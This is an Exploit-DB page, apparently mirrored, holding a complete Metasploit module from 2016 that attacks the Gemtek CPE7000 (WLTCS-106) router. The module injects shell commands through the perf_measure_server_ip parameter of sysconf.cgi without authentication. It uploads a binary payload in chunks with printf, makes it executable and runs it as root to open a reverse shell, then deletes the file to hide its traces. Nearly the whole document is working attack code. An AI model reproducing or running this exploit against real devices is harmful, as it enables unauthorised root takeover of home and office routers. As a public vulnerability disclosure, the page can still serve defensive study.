Gemtek CPE7000 – WLTCS-106 ‘sysconf.cgi’ Remote Command Execution (Metasploit)

  • 作者: Federico Scalco
    日期: 2016-04-25
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39726/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name'=> 'Gemtek CPE7000 - WLTCS-106 sysconf.cgi Unauthenticated Remote Command Execution',
    'Description' => %q{
    A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106
    exposing Iperf tool to unauthenticated users. Injecting a
    command in the perf_measure_server_ip parameter, an attacker
    can execute arbitrary commands. Since the service runs as root,
    the remote command execution has the same administrative privileges.
    The remote shell is obtained uploading the payload and executing it.
    A reverse shell is preferred rather then a bind one, since firewall
    won't allow (by default) incoming connections.
    
    Tested on Hardware version V02A and Firmware version 01.01.02.082.
    },
    'Author'=>
    [
    'Federico Scalco <fscalco [ at] mentat.is>'
    #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
    ],
    'License' => MSF_LICENSE,
    'References'=>
    [
    [ 'EDB', '39716' ],
    [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
    [ 'URL' , 'http://www.gemtek.com.tw/' ]
    ],
    'DisclosureDate' => 'Apr 07 2016',
    'Privileged' => false,
    'Platform' => %w{ linux },
    'Payload'=>
    {
    'DisableNops' => true
    },
    'Targets'=>
    [
    [ 'Linux arm Payload',
    {
    'Arch' => ARCH_ARMLE,
    'Platform' => 'linux'
    }
    ],
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' =>
    {
    'RPORT' => 443,
    'SHELL' => '/bin/sh'
    }
    ))
    
    register_options(
    [
    OptInt.new('CMD_DELAY', [false, 'Time that the Handler will wait for the incoming connection', 15]),
    OptInt.new('CHUNKS_DELAY', [false, 'Timeout between payload\'s chunks sending requests', 2]),
    OptString.new('UPFILE', [ false, 'Payload filename on target server, (default: random)' ]),
    OptInt.new('CHUNK_SIZE', [ false, 'Payload\'s chunk size (in bytes, default: 50)', 50 ]),
    OptBool.new('SSL', [true, 'Use SSL', true])
    ], self.class)
    
    end
    
    def request_resource(resname)
    begin
    res = send_request_cgi({
    'uri'=> resname,
    'method' => 'GET',
    })
    return res
    rescue ::Rex::ConnectionError
    vprint_error("#{@rhost}:#{rport} - Failed to connect to the web server")
    return nil
    end
    end
    
    def cleanup
    print_status("#{@rhost}:#{rport} - Cleanup fase, trying to remove traces...")
    
    begin
    clean_target(@upfile)
    rescue
    vprint_error("#{@rhost}:#{rport} - Failed to clean traces (/www/#{@upfile}). The resource must be removed manually")
    end
    return
    end
    
    def clean_target(resname)
    res = request_resource(resname)
    if res and res.code != 404
    print_status("#{rhost}:#{rport} - Found resource " + resname + ". Cleaning up now")
    #remove
    cmd = '"; rm /www/' + resname +' &> /dev/null #'
    res = act(cmd, "deleting resource")
    if (!res)
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to delete resource /www/#{resname} (have to do it manually)")
    end
    end
    end
    
    def set_conditions(buffer)
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> '/cgi-bin/sysconf.cgi',
    'encode_params' => true,
    'vars_get' => {
    'page' => 'ajax.asp',
    'action' => 'save_iperf_value',
    'perf_measure_server_ip' => buffer,
    'perf_measure_server_port' => '5555',
    'perf_measure_cpe_port' => '5554',
    'perf_measure_test_time' => '60',
    'perf_measure_protocol_type' => '1',
    'perf_measure_packet_data_length' => '1024',
    'perf_measure_bandwidth' => '19m',
    'perf_measure_client_num' => '1'
    }
    })
    
    if !res or res.code != 200
    fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to set_condition request")
    end
    
    return res
    end
    
    def toggle_once
    res = send_request_cgi({
    'method' => 'GET',
    'uri'=> '/cgi-bin/sysconf.cgi',
    'vars_get' => {
    'page' => 'ajax.asp',
    'action' => 'perf_measure_status_toggle'
    }
    })
    
    if !res or res.code != 200
    fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way to toggle request")
    end
    
    if res.body == "1"
    @retoggled = false
    return true
    elsif !@retoggled
    #print_status("#{@rhost}:#{rport} - First toggle request returned 0, retoggling now...")
    @retoggled = true
    toggle_once()
    else
    fail_with(Failure::UnexpectedReply, "Toggler cgi did not respond in an expected way")
    end
    
    end
    
    def act(buffer, step)
    set_conditions(buffer)
    res = toggle_once()
    return res
    end
    
    def exploit
    
    @retoggled = false;
    @cmd_delay = datastore['CMD_DELAY'] || 15
    @chunk_size = datastore['CHUNK_SIZE'] || 50
    @rhost = datastore['RHOST']
    @rport = datastore['RPORT']
    @upfile = datastore['UPFILE'] || rand_text_alpha(8+rand(8))
    chunk_delay = datastore['CHUNKS_DELAY'] || 2
    
    clean_target(@upfile)
    
    pl = payload.encoded_exe
    chunks = pl.scan(/.{1,#{@chunk_size}}/)
    hash = Hash[chunks.map.with_index.to_a]
    
    print_status("Total payload chunks: " + chunks.length.to_s )
    print_status("#{rhost}:#{rport} - Uploading chunked payload on the gemtek device (/www/#{@upfile})")
    
    for chk in chunks
    chind = hash[chk]
    safe_buffer = chk.each_byte.map { |b| '\x' + b.to_s(16) }.join
    
    if chind == 0
    s_redir = '>'
    else
    s_redir = '>>'
    end
    
    cmd = '"; printf \'' + safe_buffer + '\' ' + s_redir + ' /www/' + @upfile + ' #'
    
    print_status("#{@rhost}:#{rport} - Uploading chunk " + (chind + 1).to_s + "/" + chunks.length.to_s + ('.' * (chind + 1)))
    res = act(cmd, "uploading shell")
    if (!res)
     fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    select(nil, nil, nil, chunk_delay)
    end
    
    #chmod request
    cmd = '"; chmod 777 /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to chmod #{@upfile}")
    res = act(cmd, "chmodding payload")
    if (!res)
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to chmod payload")
    end
    
    select(nil, nil, nil, @cmd_delay)
    
    #phone home
    cmd = '"; /www/' + @upfile + ' & #'
    print_status("#{rhost}:#{rport} - Asking the gemtek device to execute #{@upfile}")
    res = act(cmd, "executing payload")
    if (!res)
    fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
    end
    
    select(nil, nil, nil, @cmd_delay)
    
    end
    end